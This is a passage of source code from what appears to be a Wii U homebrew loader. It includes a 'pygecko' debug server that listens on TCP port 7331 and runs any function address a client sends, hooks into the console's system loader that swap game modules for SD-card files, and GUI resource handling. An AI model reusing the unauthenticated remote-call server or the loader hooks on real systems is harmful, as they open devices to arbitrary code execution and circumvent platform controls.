((int*)buffer)[1]); /* Get the symbol and store it in the buffer */ unsigned int module_handle, function_address; OSDynLoad_Acquire(rplname, &module_handle); char data = recvbyte(bss, clientfd); OSDynLoad_FindExport(module_handle, data, symname, &function_address); ((int*)buffer)[0] = (int)function_address; ret = sendwait(bss, clientfd, buffer, 4); CHECK_ERROR(ret < 0); break; } case 0x72: { /* cmd_search32 */ ret = recvwait(bss, clientfd, buffer, 12); CHECK_ERROR(ret < 0); int addr = ((int *) buffer)[0]; int val = ((int *) buffer)[1]; int size = ((int *) buffer)[2]; int i; int resaddr = 0; for(i = addr; i < (addr+size); i+=4) { if(*(int*)i == val) { resaddr = i; break; } } ((int *)buffer)[0] = resaddr; ret = sendwait(bss, clientfd, buffer, 4); CHECK_ERROR(ret < 0); break; } case 0x80: { /* cmd_rpc_big */ long long (*fun)(int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int); int r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, r13, r14, r15, r16, r17, r18; long long result; ret = recvwait(bss, clientfd, buffer, 4 + 16 * 4); CHECK_ERROR(ret < 0); fun = ((void **)buffer)[0]; r3 = ((int *)buffer)[1]; r4 = ((int *)buffer)[2]; r5 = ((int *)buffer)[3]; r6 = ((int *)buffer)[4]; r7 = ((int *)buffer)[5]; r8 = ((int *)buffer)[6]; r9 = ((int *)buffer)[7]; r10 = ((int *)buffer)[8]; r11 = ((int *)buffer)[9]; r12 = ((int *)buffer)[10]; r13 = ((int *)buffer)[11]; r14 = ((int *)buffer)[12]; r15 = ((int *)buffer)[13]; r16 = ((int *)buffer)[14]; r17 = ((int *)buffer)[15]; r18 = ((int *)buffer)[16]; result = fun(r3, r4, r5, r6, r7, r8, r9, r10, r11, r12, r13, r14, r15, r16, r17, r18); ((long long *)buffer)[0] = result; ret = sendwait(bss, clientfd, buffer, 8); CHECK_ERROR(ret < 0); break; } case 0x99: { /* cmd_version */ ret = sendbyte(bss, clientfd, 0x82); /* WiiU */ CHECK_ERROR(ret < 0); break; } case 0x9A: { /* cmd_os_version */ ((int *)buffer)[0] = (int)OS_FIRMWARE; ret = sendwait(bss, clientfd, buffer, 4); CHECK_ERROR(ret < 0); break; } case 0xcc: { /* GCFAIL */ break; } default: ret = -1; CHECK_ERROR(0); break; } next_cmd: continue; } return 0; error: bss->error = ret; return 0; } static int pygecko_main(int argc, void *argv) { int sockfd = -1, clientfd = -1, ret, len; struct sockaddr_in addr; struct pygecko_bss_t *bss = argv; socket_lib_init(); while (1) { addr.sin_family = AF_INET; addr.sin_port = 7331; addr.sin_addr.s_addr = 0; sockfd = ret = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); CHECK_ERROR(ret == -1); int enable = 1; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(enable)); ret = bind(sockfd, (void *)&addr, 16); CHECK_ERROR(ret < 0); ret = listen(sockfd, 1); CHECK_ERROR(ret < 0); while(1) { len = 16; clientfd = ret = accept(sockfd, (void *)&addr, &len); CHECK_ERROR(ret == -1); rungecko(bss, clientfd); socketclose(clientfd); clientfd = -1; } continue; error: if (clientfd != -1) socketclose(clientfd); if (sockfd != -1) socketclose(sockfd); clientfd = -1; sockfd = -1; bss->error = ret; os_usleep(100000); } return 0; } void start_pygecko(void) { struct pygecko_bss_t *bss; bss = memalign(0x40, sizeof(struct pygecko_bss_t)); if (bss == 0) return; memset(bss, 0, sizeof(struct pygecko_bss_t)); if(OSCreateThread(&bss->thread, pygecko_main, 1, bss, (u32)bss->stack + sizeof(bss->stack), sizeof(bss->stack), 0, 0x1C) == 1) { OSResumeThread(&bss->thread); } else { free(bss); } } ================================================ FILE: src/patcher/pygecko.h ================================================ #ifndef _PYGECKO_H_ #define _PYGECKO_H_ #ifdef __cplusplus extern "C" { #endif void start_pygecko(void); #ifdef __cplusplus } #endif #endif /* _PYGECKO_H_ */ ================================================ FILE: src/patcher/rplrpx_patcher.cpp ================================================ #include "malloc.h" #include "common/retain_vars.h" #include "patcher/fs_patcher.h" #include "common/loader_defs.h" #include "rplrpx_patcher.h" #include "patcher_util.h" #include "fs_logger.h" #include "game/rpx_rpl_table.h" /* ***************************************************************************** * Dynamic RPL loading to memory * ****************************************************************************/ static int LoadRPLToMemory(s_rpx_rpl *rpl_entry) { if ((int)bss_ptr != 0x0a000000) { char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "CheckAndLoadRPL(%s) found and loading", rpl_entry->name); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); } // initialize FS FSInit(); void *pClient = malloc(FS_CLIENT_SIZE); if (!pClient) return 0; void *pCmd = malloc(FS_CMD_BLOCK_SIZE); if (!pCmd) { free(pClient); return 0; } // calculate path length for SD access of RPL int path_len = strlen(gamePathStruct.os_game_path_base) + strlen(gamePathStruct.game_dir) + strlen(RPX_RPL_PATH) + strlen(rpl_entry->name) + 3; char *path_update_rpl = NULL; char *path_rpl = (char *) malloc(path_len); if(!path_rpl) { free(pCmd); free(pClient); return 0; } // malloc mem for read file unsigned char* dataBuf = (unsigned char*)memalign(0x40, 0x10000); if(!dataBuf) { free(pCmd); free(pClient); free(path_rpl); return 0; } unsigned char * dataBufPhysical = (unsigned char*)OSEffectiveToPhysical(dataBuf); // do more initial FS stuff FSInitCmdBlock(pCmd); FSAddClientEx(pClient, 0, -1); // set RPL size to 0 to avoid wrong RPL being loaded when opening file fails rpl_entry->size = 0; rpl_entry->offset = 0; // create path __os_snprintf(path_rpl, path_len, "%s/%s%s/%s", gamePathStruct.os_game_path_base, gamePathStruct.game_dir, RPX_RPL_PATH, rpl_entry->name); if(gSettingUseUpdatepath){ free(path_rpl); int path_len_update_rpl = strlen(gamePathStruct.os_game_path_base) + strlen(gamePathStruct.game_dir) + strlen(UPDATE_PATH) + strlen(gamePathStruct.update_folder) + strlen(RPX_RPL_PATH) + strlen(rpl_entry->name) + 4; path_update_rpl = (char *) malloc(path_len_update_rpl); if(!path_update_rpl) { free(pCmd); free(pClient); return 0; } __os_snprintf(path_update_rpl, path_len_update_rpl, "%s/%s%s/%s/%s", gamePathStruct.os_game_path_base, gamePathStruct.game_dir, UPDATE_PATH, gamePathStruct.update_folder, RPX_RPL_PATH, rpl_entry->name); fs_log_string(bss.global_sock, path_update_rpl, BYTE_LOG_STR); int ret = -2; FSStat stats; if((ret = real_FSGetStat(pClient, pCmd, path_update_rpl, &stats, FS_RET_ALL_ERROR)) == 0){ fs_log_string(bss.global_sock, "Loading RPL from update path", BYTE_LOG_STR); path_rpl = path_update_rpl; }else{ char error_message[50]; __os_snprintf(error_message, 50, "FSGetStat Result: %d", ret); fs_log_string(bss.global_sock, error_message, BYTE_LOG_STR); } } s32 fd = 0; if (real_FSOpenFile(pClient, pCmd, path_rpl, "r", &fd, FS_RET_ALL_ERROR) == FS_STATUS_OK) { int ret; int rpl_size = 0; // Copy rpl in memory while ((ret = FSReadFile(pClient, pCmd, dataBuf, 0x1, 0x10000, fd, 0, FS_RET_ALL_ERROR)) > 0) { DCFlushRange((void *)dataBuf, ret); // Copy in memory and save offset int copiedData = rpxRplCopyDataToMem(rpl_entry, rpl_size, dataBufPhysical, ret); if(copiedData != ret) { char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "CheckAndLoadRPL(%s) failure on copying data to memory. Copied %i expected %i.", rpl_entry->name, copiedData, ret); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); } rpl_size += ret; } // Fill rpl entry rpl_entry->size = rpl_size; if ((int)bss_ptr != 0x0a000000) { char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "CheckAndLoadRPL(%s) file loaded 0x%08X %i", rpl_entry->name, rpl_entry->area->address, rpl_entry->size); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); } FSCloseFile(pClient, pCmd, fd, FS_RET_NO_ERROR); } FSDelClient(pClient); free(dataBuf); free(pCmd); free(pClient); if(!gSettingUseUpdatepath){ free(path_rpl); }else{ free(path_update_rpl); } return 1; } /* ***************************************************************************** * Searching for RPL to load * ****************************************************************************/ static int CheckAndLoadRPL(const char *rpl) { // If we are in Smash Bros app if (GAME_LAUNCHED == 0) return 0; // Look for rpl name in our table s_rpx_rpl *rpl_entry = rpxRplTableGet(); do { if(rpl_entry->is_rpx) continue; int len = strlen(rpl); int len2 = strlen(rpl_entry->name); if ((len != len2) && (len != (len2 - 4))) { continue; } // compare name string case insensitive and without ".rpl" extension if (strncasecmp(rpl_entry->name, rpl, len) == 0) { int result = LoadRPLToMemory(rpl_entry); return result; } } while((rpl_entry = rpl_entry->next) != 0); return 0; } DECL(int, OSDynLoad_Acquire, char* rpl, unsigned int *handle, int r5 __attribute__((unused))) { // Get only the filename (in case there is folders in the module name ... like zombiu) char *ptr = rpl; while(*ptr) { if (*ptr == '/') { rpl = ptr + 1; } ptr++; } // Look if RPL is in our table and load it from SD Card CheckAndLoadRPL(rpl); int result = real_OSDynLoad_Acquire(rpl, handle, 0); if ((int)bss_ptr != 0x0a000000) { char buffer[200]; __os_snprintf(buffer, sizeof(buffer), "OSDynLoad_Acquire: %s result: %i", rpl, result); fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR); } return result; } static struct { unsigned int fileType; unsigned int sgBufferNumber; unsigned int sgFileOffset; } loaderGlobals3XX; DECL(int, LiBounceOneChunk, const char * filename, int fileType, int procId, int * hunkBytes, int fileOffset, int bufferNumber, int * dst_address) { loaderGlobals3XX.fileType = fileType; loaderGlobals3XX.sgBufferNumber = bufferNumber; loaderGlobals3XX.sgFileOffset = fileOffset; return real_LiBounceOneChunk(filename, fileType, procId, hunkBytes, fileOffset, bufferNumber, dst_address); } // This function is called every time after LiBounceOneChunk. // It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address // and return the still remaining bytes to load. // We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load. DECL(int, LiWaitOneChunk, unsigned int * iRemainingBytes, const char *filename, int fileType) { unsigned int result; register int core_id; s32 remaining_bytes = 0; int sgFileOffset; int sgBufferNumber; int *sgBounceError; int *sgGotBytes; int *sgTotalBytes; int *sgIsLoadingBuffer; int *sgFinishedLoadingBuffer; // get the current core asm volatile("mfspr %0, 0x3EF" : "=r" (core_id)); // get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4)) unsigned int gDynloadInitialized = *(volatile unsigned int*)(addr_gDynloadInitialized + (core_id << 2)); // Comment (Dimok): // time measurement at this position for logger -> we don't need it right now except maybe for debugging //unsigned long long systemTime1 = Loader_GetSystemTime(); if(OS_FIRMWARE == 550) { // pointer to global variables of the loader loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80); sgBufferNumber = loader_globals->sgBufferNumber; sgFileOffset = loader_globals->sgFileOffset; sgBounceError = &loader_globals->sgBounceError; sgGotBytes = &loader_globals->sgGotBytes; sgTotalBytes = &loader_globals->sgTotalBytes; sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer; // not available on 5.5.x sgIsLoadingBuffer = NULL; } else if(OS_FIRMWARE < 400) { sgBufferNumber = loaderGlobals3XX.sgBufferNumber; sgFileOffset = loaderGlobals3XX.sgFileOffset; fileType = loaderGlobals3XX.fileType; // fileType is actually not passed to this function on < 400 sgIsLoadingBuffer = (int *)addr_sgIsLoadingBuffer; // not available on < 400 sgBounceError = NULL; sgGotBytes = NULL; sgTotalBytes = NULL; sgFinishedLoadingBuffer = NULL; } else { // pointer to global variables of the loader loader_globals_t *loader_globals = (loader_globals_t*)(addr_sgIsLoadingBuffer); sgBufferNumber = loader_globals->sgBufferNumber; sgFileOffset = loader_globals->sgFileOffset; sgBounceError = &loader_globals->sgBounceError; sgGotBytes = &loader_globals->sgGotBytes; sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer; // not available on < 5.5.x sgTotalBytes = NULL; sgFinishedLoadingBuffer = NULL; } // the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data if(gDynloadInitialized != 0) { result = LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes); } else { result = LiWaitIopComplete(0x2160EC0, &remaining_bytes); } // Comment (Dimok): // time measurement at this position for logger -> we don't need it right now except maybe for debugging //unsigned long long systemTime2 = Loader_GetSystemTime(); //------------------------------------------------------------------------------------------------------------------ // Start of our function intrusion: // After IOSU is done writing the data into the 0xF6000000/0xF6400000 address, // we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0 // Do this only if we are in the game that was launched by our method if (*(volatile unsigned int*)0xEFE00000 == RPX_CHECK_NAME && (GAME_LAUNCHED == 1)) { s_rpx_rpl *rpl_struct = rpxRplTableGet(); do { // the argument fileType = 0 is RPX, fileType = 1 is RPL (inverse to our is_rpx) if((!rpl_struct->is_rpx) != fileType) continue; int found = 1; // if we load RPX then the filename can't be checked as it is the Mii Maker or Smash Bros RPX name // there skip the filename check for RPX if(fileType == 1) { int len = strnlen(filename, 0x1000); int len2 = strnlen(rpl_struct->name, 0x1000); if ((len != len2) && (len != (len2 - 4))) continue; if(strncasecmp(filename, rpl_struct->name, len) != 0) { found = 0; } } if (found) { unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000); unsigned int load_addressPhys = (sgBufferNumber == 1) ? gLoaderPhysicalBufferAddr : (gLoaderPhysicalBufferAddr + 0x00400000); // virtual 0xF6000000 and 0xF6400000 // set our game RPX loaded variable for use in FS system if(fileType == 0) GAME_RPX_LOADED = 1; remaining_bytes = rpl_struct->size - sgFileOffset; if (remaining_bytes > 0x400000) // truncate size remaining_bytes = 0x400000; DCFlushRange((void *)load_address, remaining_bytes); rpxRplCopyDataFromMem(rpl_struct, sgFileOffset, (unsigned char*)load_addressPhys, remaining_bytes); DCInvalidateRange((void *) load_address, remaining_bytes); // set result to 0 -> "everything OK" result = 0; break; } } while((rpl_struct = rpl_struct->next) != 0); } // check if the game was left back to system menu after a game was launched by our method and reset our flags for game launch else if (*(volatile unsigned int*)0xEFE00000 != RPX_CHECK_NAME && (GAME_LAUNCHED == 1) && (GAME_RPX_LOADED == 1)) { GAME_RPX_LOADED = 0; GAME_LAUNCHED = 0; gSettingUseUpdatepath = 0; RPX_CHECK_NAME = 0xDEADBEAF; } // end of our little intrusion into this function //------------------------------------------------------------------------------------------------------------------ // set the result to the global bounce error variable if(sgBounceError) { *sgBounceError = result; } // disable global flag that buffer is still loaded by IOSU if(sgFinishedLoadingBuffer) { unsigned int zeroBitCount = 0; asm volatile("cntlzw %0, %0" : "=r" (zeroBitCount) : "r"(*sgFinishedLoadingBuffer)); *sgFinishedLoadingBuffer = zeroBitCount >> 5; } else if(sgIsLoadingBuffer) { *sgIsLoadingBuffer = 0; } // check result for errors if(result == 0) { // the remaining size is set globally and in stack variable only // if a pointer was passed to this function if(iRemainingBytes) { if(sgGotBytes) { *sgGotBytes = remaining_bytes; } *iRemainingBytes = remaining_bytes; // on 5.5.x a new variable for total loaded bytes was added if(sgTotalBytes) { *sgTotalBytes += remaining_bytes; } } // Comment (Dimok): // calculate time difference and print it on logging how long the wait for asynchronous data load took // something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap } else { // Comment (Dimok): // a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P } return result; } /* ***************************************************************************** * Creates function pointer array * ****************************************************************************/ hooks_magic_t method_hooks_rplrpx[] __attribute__((section(".data"))) = { // LOADER function MAKE_MAGIC(LiWaitOneChunk, LIB_LOADER,STATIC_FUNCTION), MAKE_MAGIC(LiBounceOneChunk, LIB_LOADER,STATIC_FUNCTION), // Dynamic RPL loading functions MAKE_MAGIC(OSDynLoad_Acquire, LIB_CORE_INIT,STATIC_FUNCTION), }; u32 method_hooks_size_rplrpx __attribute__((section(".data"))) = sizeof(method_hooks_rplrpx) / sizeof(hooks_magic_t); //! buffer to store our instructions needed for our replacements volatile u32 method_calls_rplrpx[sizeof(method_hooks_rplrpx) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(".data"))); ================================================ FILE: src/patcher/rplrpx_patcher.h ================================================ #ifndef _RPLRPX_FUNCTION_PATCHER_H #define _RPLRPX_FUNCTION_PATCHER_H #ifdef __cplusplus extern "C" { #endif #include "utils/function_patcher.h" extern hooks_magic_t method_hooks_rplrpx[]; extern u32 method_hooks_size_rplrpx; extern volatile u32 method_calls_rplrpx[]; extern s32 (* FSInit)(void); extern s32 (* real_FSInit)(void); extern s32 (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, s32 errHandling); extern s32 (* real_FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, s32 errHandling); extern s32 (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, s32 *fd, s32 errHandling); extern s32 (* real_FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, s32 *fd, s32 errHandling); #ifdef __cplusplus } #endif #endif /* _RPLRPX_FUNCTION_PATCHER_H */ ================================================ FILE: src/resources/Resources.cpp ================================================ #include #include #include #include "Resources.h" #include "filelist.h" #include "system/AsyncDeleter.h" #include "fs/fs_utils.h" #include "gui/GuiImageAsync.h" #include "gui/GuiSound.h" Resources * Resources::instance = NULL; void Resources::Clear() { for(int i = 0; RecourceList[i].filename != NULL; ++i) { if(RecourceList[i].CustomFile) { free(RecourceList[i].CustomFile); RecourceList[i].CustomFile = NULL; } if(RecourceList[i].CustomFileSize != 0) RecourceList[i].CustomFileSize = 0; } if(instance) delete instance; instance = NULL; } bool Resources::LoadFiles(const char * path) { if(!path) return false; bool result = false; Clear(); for(int i = 0; RecourceList[i].filename != NULL; ++i) { std::string fullpath(path); fullpath += "/"; fullpath += RecourceList[i].filename; u8 * buffer = NULL; u32 filesize = 0; LoadFileToMem(fullpath.c_str(), &buffer, &filesize); RecourceList[i].CustomFile = buffer; RecourceList[i].CustomFileSize = (u32) filesize; result |= (buffer != 0); } return result; } const u8 * Resources::GetFile(const char * filename) { for(int i = 0; RecourceList[i].filename != NULL; ++i) { if(strcasecmp(filename, RecourceList[i].filename) == 0) { return (RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile); } } return NULL; } u32 Resources::GetFileSize(const char * filename) { for(int i = 0; RecourceList[i].filename != NULL; ++i) { if(strcasecmp(filename, RecourceList[i].filename) == 0) { return (RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize); } } return 0; } GuiImageData * Resources::GetImageData(const char * filename) { if(!instance) instance = new Resources; std::map >::iterator itr = instance->imageDataMap.find(std::string(filename)); if(itr != instance->imageDataMap.end()) { itr->second.first++; return itr->second.second; } for(int i = 0; RecourceList[i].filename != NULL; ++i) { if(strcasecmp(filename, RecourceList[i].filename) == 0) { const u8 * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile; const u32 size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize; if(buff == NULL) return NULL; GuiImageData * image = new GuiImageData(buff, size); instance->imageDataMap[std::string(filename)].first = 1; instance->imageDataMap[std::string(filename)].second = image; return image; } } return NULL; } void Resources::RemoveImageData(GuiImageData * image) { std::map >::iterator itr; for(itr = instance->imageDataMap.begin(); itr != instance->imageDataMap.end(); itr++) { if(itr->second.second == image) { itr->second.first--; if(itr->second.first == 0) { AsyncDeleter::pushForDelete( itr->second.second ); instance->imageDataMap.erase(itr); } break; } } } GuiSound * Resources::GetSound(const char * filename) { if(!instance) instance = new Resources; std::map >::iterator itr = instance->soundDataMap.find(std::string(filename)); if(itr != instance->soundDataMap.end()) { itr->second.first++; return itr->second.second; } for(int i = 0; RecourceList[i].filename != NULL; ++i) { if(strcasecmp(filename, RecourceList[i].filename) == 0) { const u8 * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile; const u32 size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize; if(buff == NULL) return NULL; GuiSound * sound = new GuiSound(buff, size); instance->soundDataMap[std::string(filename)].first = 1; instance->soundDataMap[std::string(filename)].second = sound; return sound; } } return NULL; } void Resources::RemoveSound(GuiSound * sound) { std::map >::iterator itr; for(itr = instance->soundDataMap.begin(); itr != instance->soundDataMap.end(); itr++) { if(itr->second.second == sound) { itr->second.first--; if(itr->second.first == 0) { AsyncDeleter::pushForDelete( itr->second.second ); instance->soundDataMap.erase(itr); } break; } } } ================================================ FILE: src/resources/Resources.h ================================================ #ifndef RECOURCES_H_ #define RECOURCES_H_ #include //! forward declaration class GuiImageData; class GuiSound; class Resources { public: static void Clear(); static bool LoadFiles(const char * path); static const u8 * GetFile(const char * filename); static u32 GetFileSize(const char * filename); static GuiImageData * GetImageData(const char * filename); static void RemoveImageData(GuiImageData * image); static GuiSound * GetSound(const char * filename); static void RemoveSound(GuiSound * sound); private: static Resources *instance; Resources() {} ~Resources() {} std::map > imageDataMap; std::map > soundDataMap; }; #endif ================================================ FILE: src/resources/filelist.h ================================================ /**************************************************************************** * Loadiine resource files. * This file is generated automatically. * Includes 66 files. * * NOTE: * Any manual modification of this file will be overwriten by the generation. ****************************************************************************/ #ifndef _FILELIST_H_ #define _FILELIST_H_ #include typedef struct _RecourceFile { const char *filename; const u8 *DefaultFile; const u32 &DefaultFileSize; u8 *CustomFile; u32 CustomFileSize; } RecourceFile; extern const u8 backButton_png[]; extern const u32 backButton_png_size; extern const u8 bgGridTile_png[]; extern const u32 bgGridTile_png_size; extern const u8 bgMusic_ogg[]; extern const u32 bgMusic_ogg_size; extern const u8 button_click_mp3[]; extern const u32 button_click_mp3_size; extern const u8 checkbox_png[]; extern const u32 checkbox_png_size; extern const u8 checkbox_highlighted_png[]; extern const u32 checkbox_highlighted_png_size; extern const u8 checkbox_selected_png[]; extern const u32 checkbox_selected_png_size; extern const u8 choiceCheckedSquare_png[]; extern const u32 choiceCheckedSquare_png_size; extern const u8 choiceHighlightedSquare_png[]; extern const u32 choiceHighlightedSquare_png_size; extern const u8 choiceUncheckedSquare_png[]; extern const u32 choiceUncheckedSquare_png_size; extern const u8 creditsIcon_png[]; extern const u32 creditsIcon_png_size; extern const u8 creditsIconGlow_png[]; extern const u32 creditsIconGlow_png_size; extern const u8 credits_music_ogg[]; extern const u32 credits_music_ogg_size; extern const u8 emptyRoundButton_png[]; extern const u32 emptyRoundButton_png_size; extern const u8 emptyRoundButtonSelected_png[]; extern const u32 emptyRoundButtonSelected_png_size; extern const u8 font_ttf[]; extern const u32 font_ttf_size; extern const u8 gameSettingsButton_png[]; extern const u32 gameSettingsButton_png_size; extern const u8 gameSettingsButtonEx_png[]; extern const u32 gameSettingsButtonEx_png_size; extern const u8 gameSettingsButtonExHighlighted_png[]; extern const u32 gameSettingsButtonExHighlighted_png_size; extern const u8 gameSettingsButtonExSelected_png[]; extern const u32 gameSettingsButtonExSelected_png_size; extern const u8 gameSettingsButtonSelected_png[]; extern const u32 gameSettingsButtonSelected_png_size; extern const u8 gameSettingsFrame_png[]; extern const u32 gameSettingsFrame_png_size; extern const u8 gameSettingsIcon_png[]; extern const u32 gameSettingsIcon_png_size; extern const u8 gameSettingsIconGlow_png[]; extern const u32 gameSettingsIconGlow_png_size; extern const u8 gameSettingsMenuButton_png[]; extern const u32 gameSettingsMenuButton_png_size; extern const u8 game_click_mp3[]; extern const u32 game_click_mp3_size; extern const u8 guiSettingsIcon_png[]; extern const u32 guiSettingsIcon_png_size; extern const u8 guiSettingsIconGlow_png[]; extern const u32 guiSettingsIconGlow_png_size; extern const u8 iconEmpty_jpg[]; extern const u32 iconEmpty_jpg_size; extern const u8 keyPadBackButton_png[]; extern const u32 keyPadBackButton_png_size; extern const u8 keyPadBg_png[]; extern const u32 keyPadBg_png_size; extern const u8 keyPadButton_png[]; extern const u32 keyPadButton_png_size; extern const u8 keyPadButtonClicked_png[]; extern const u32 keyPadButtonClicked_png_size; extern const u8 keyPadDeleteButton_png[]; extern const u32 keyPadDeleteButton_png_size; extern const u8 keyPadDeleteClicked_png[]; extern const u32 keyPadDeleteClicked_png_size; extern const u8 keyPadField_png[]; extern const u32 keyPadField_png_size; extern const u8 keyPadFieldBlinker_png[]; extern const u32 keyPadFieldBlinker_png_size; extern const u8 keyPadOkButton_png[]; extern const u32 keyPadOkButton_png_size; extern const u8 layoutSwitchButton_png[]; extern const u32 layoutSwitchButton_png_size; extern const u8 leftArrow_png[]; extern const u32 leftArrow_png_size; extern const u8 loaderSettingsIcon_png[]; extern const u32 loaderSettingsIcon_png_size; extern const u8 loaderSettingsIconGlow_png[]; extern const u32 loaderSettingsIconGlow_png_size; extern const u8 noCover_png[]; extern const u32 noCover_png_size; extern const u8 noGameIcon_png[]; extern const u32 noGameIcon_png_size; extern const u8 player1_point_png[]; extern const u32 player1_point_png_size; extern const u8 player2_point_png[]; extern const u32 player2_point_png_size; extern const u8 player3_point_png[]; extern const u32 player3_point_png_size; extern const u8 player4_point_png[]; extern const u32 player4_point_png_size; extern const u8 progressWindow_png[]; extern const u32 progressWindow_png_size; extern const u8 quitButton_png[]; extern const u32 quitButton_png_size; extern const u8 quitButtonSelected_png[]; extern const u32 quitButtonSelected_png_size; extern const u8 rightArrow_png[]; extern const u32 rightArrow_png_size; extern const u8 screenSwitchSound_mp3[]; extern const u32 screenSwitchSound_mp3_size; extern const u8 scrollbarButton_png[]; extern const u32 scrollbarButton_png_size; extern const u8 scrollbarLine_png[]; extern const u32 scrollbarLine_png_size; extern const u8 settingButton_png[]; extern const u32 settingButton_png_size; extern const u8 settingsButton_png[]; extern const u32 settingsButton_png_size; extern const u8 settingsCategoryBg_png[]; extern const u32 settingsCategoryBg_png_size; extern const u8 settingsCategoryButton_png[]; extern const u32 settingsCategoryButton_png_size; extern const u8 settingSelectedButton_png[]; extern const u32 settingSelectedButton_png_size; extern const u8 settingsTitle_png[]; extern const u32 settingsTitle_png_size; extern const u8 settings_click_2_mp3[]; extern const u32 settings_click_2_mp3_size; extern const u8 switchIconBase_png[]; extern const u32 switchIconBase_png_size; extern const u8 switchIconBaseHighlighted_png[]; extern const u32 switchIconBaseHighlighted_png_size; extern const u8 switchIconOff_png[]; extern const u32 switchIconOff_png_size; extern const u8 switchIconOn_png[]; extern const u32 switchIconOn_png_size; static RecourceFile RecourceList[] = { {"backButton.png", backButton_png, backButton_png_size, NULL, 0}, {"bgGridTile.png", bgGridTile_png, bgGridTile_png_size, NULL, 0}, {"bgMusic.ogg", bgMusic_ogg, bgMusic_ogg_size, NULL, 0}, {"button_click.mp3", button_click_mp3, button_click_mp3_size, NULL, 0}, {"checkbox.png", checkbox_png, checkbox_png_size, NULL, 0}, {"checkbox_highlighted.png", checkbox_highlighted_png, checkbox_highlighted_png_size, NULL, 0}, {"checkbox_selected.png", checkbox_selected_png, checkbox_selected_png_size, NULL, 0}, {"choiceCheckedSquare.png", choiceCheckedSquare_png, choiceCheckedSquare_png_size, NULL, 0}, {"choiceHighlightedSquare.png", choiceHighlightedSquare_png, choiceHighlightedSquare_png_size, NULL, 0}, {"choiceUncheckedSquare.png", choiceUncheckedSquare_png, choiceUncheckedSquare_png_size, NULL, 0}, {"creditsIcon.png", creditsIcon_png, creditsIcon_png_size, NULL, 0}, {"creditsIconGlow.png", creditsIconGlow_png, creditsIconGlow_png_size, NULL, 0}, {"credits_music.ogg", credits_music_ogg, credits_music_ogg_size, NULL, 0}, {"emptyRoundButton.png", emptyRoundButton_png, emptyRoundButton_png_size, NULL, 0}, {"emptyRoundButtonSelected.png", emptyRoundButtonSelected_png, emptyRoundButtonSelected_png_size, NULL, 0}, {"font.ttf", font_ttf, font_ttf_size, NULL, 0}, {"gameSettingsButton.png", gameSettingsButton_png, gameSettingsButton_png_size, NULL, 0}, {"gameSettingsButtonEx.png", gameSettingsButtonEx_png, gameSettingsButtonEx_png_size, NULL, 0}, {"gameSettingsButtonExHighlighted.png", gameSettingsButtonExHighlighted_png, gameSettingsButtonExHighlighted_png_size, NULL, 0}, {"gameSettingsButtonExSelected.png", gameSettingsButtonExSelected_png, gameSettingsButtonExSelected_png_size, NULL, 0}, {"gameSettingsButtonSelected.png", gameSettingsButtonSelected_png, gameSettingsButtonSelected_png_size, NULL, 0}, {"gameSettingsFrame.png", gameSettingsFrame_png, gameSettingsFrame_png_size, NULL, 0}, {"gameSettingsIcon.png", gameSettingsIcon_png, gameSettingsIcon_png_size, NULL, 0}, {"gameSettingsIconGlow.png", gameSettingsIconGlow_png, gameSettingsIconGlow_png_size, NULL, 0}, {"gameSettingsMenuButton.png", gameSettingsMenuButton_png, gameSettingsMenuButton_png_size, NULL, 0}, {"game_click.mp3", game_click_mp3, game_click_mp3_size, NULL, 0}, {"guiSettingsIcon.png", guiSettingsIcon_png, guiSettingsIcon_png_size, NULL, 0}, {"guiSettingsIconGlow.png", guiSettingsIconGlow_png, guiSettingsIconGlow_png_size, NULL, 0}, {"iconEmpty.jpg", iconEmpty_jpg, iconEmpty_jpg_size, NULL, 0}, {"keyPadBackButton.png", keyPadBackButton_png, keyPadBackButton_png_size, NULL, 0}, {"keyPadBg.png", keyPadBg_png, keyPadBg_png_size, NULL, 0}, {"keyPadButton.png", keyPadButton_png, keyPadButton_png_size, NULL, 0}, {"keyPadButtonClicked.png", keyPadButtonClicked_png, keyPadButtonClicked_png_size, NULL, 0}, {"keyPadDeleteButton.png", keyPadDeleteButton_png, keyPadDeleteButton_png_size, NULL, 0}, {"keyPadDeleteClicked.png", keyPadDeleteClicked_png, keyPadDeleteClicked_png_size, NULL, 0}, {"keyPadField.png", keyPadField_png, keyPadField_png_size, NULL, 0}, {"keyPadFieldBlinker.png", keyPadFieldBlinker_png, 